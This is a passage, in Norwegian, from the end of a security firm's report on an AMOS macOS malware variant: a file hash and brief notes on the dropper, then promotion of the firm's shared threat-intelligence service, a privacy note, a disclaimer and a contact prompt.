Base64-strengen dekodet seg til en 16-byte enhets-UUID, den unike identifikatoren som angriperens C2-infrastruktur hadde tildelt denne enheten på dagen for førstegangsinfeksjonen.

.mainhelper-binaryen (SHA-256: 7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063) var installert av osascript-dropperen via ditto på selve hendelsesdagen.


Shared Threat Intelligence: styrken i det kollektive skjoldet

Når en alert utløses i vårt SOC, begynner klokken å gå ikke bare for den berørte kunden, men for hver eneste organisasjon under glueckkanjas beskyttelsesskjold. Denne undersøkelsen av en udokumentert AMOS-variant viser tydelig hva Intelligence Gap betyr i praksis: et farlig tidsvindu der klassiske leverandører er blinde fordi de ennå ikke har sett trusselen.

Her viser vår proprietære Shared Threat Intelligence Platform sin verdi, utviklet eksklusivt for glueckkanja-CSOC-kunder. Vi venter ikke på bransje-oppdateringer, vi skaper dem. Mens analytikerne våre fortsatt demonterte de siste lagene av ARM64-assembly, distribuerte vår Automated Orchestration Engine allerede de uttrukne indikatorene på tvers av hele økosystemet. Det skaper flokkimmunitet: det som oppdages på ett enkelt endpoint, er innen få minutter en blokkert trussel for hver eneste organisasjon under vår beskyttelse.

Reaktiv sikkerhet fungerer ikke mot trusler som målrettet sniker seg gjennom hullene i konvensjonelle forsvarsmekanismer. Svaret ligger i å koble menneskelig ekspertise til en arkitektur som setter den kunnskapen ut i livet umiddelbart og i stor skala. Gjennom vår Shared Intelligence-modell snus angriperens tidsfortrinn på hodet: kundene våre er beskyttet før bransjen i det hele tatt oppdager trusselen.

Merknad om personvern

Identifiserende informasjon er anonymisert i denne publikasjonen. Spesifikke tekniske detaljer, indikatorer og tidsstempler kan være lett endret for å sikre pågående beskyttelse av det berørte miljøet, uten å svekke den tekniske integriteten til analysen.

De tekniske analysene og Indicators of Compromise (IOC-ene) i denne rapporten er kun til informasjon og opplæring. De leveres etter beste evne. glueckkanja AG gir ingen uttrykkelige eller underforståtte garantier for fullstendighet eller nøyaktighet, og påtar seg intet ansvar for skader, tap eller sikkerhetshendelser som følge av bruk av informasjon, regler eller signaturer som deles her. Vi anbefaler å validere alle indikatorer og regler i et kontrollert miljø før de tas i bruk.

Beskrevne indikatorer og teknikker kan overlappe med kjente malware-familier og er ikke eksklusivt knyttet til én enkelt kampanje.

Kontakt oss

Vil du vite hvordan vår Shared Threat Intelligence Platform beskytter deg mot ukjente malware-varianter før bransjen får vite om dem? Ta kontakt med oss.
Portrett av Jan Geisbauer, Head of Security hos glueckkanja
Det farlige med denne varianten var ikke den tekniske kompleksiteten, så imponerende den enn er. Det farlige var tidsvinduet. Uten Shared Threat Intelligence ville de andre kundene våre ha stått ubeskyttet i timevis mens vi fortsatt analyserte.
Jan GeisbauerHead of Security

Lignende innlegg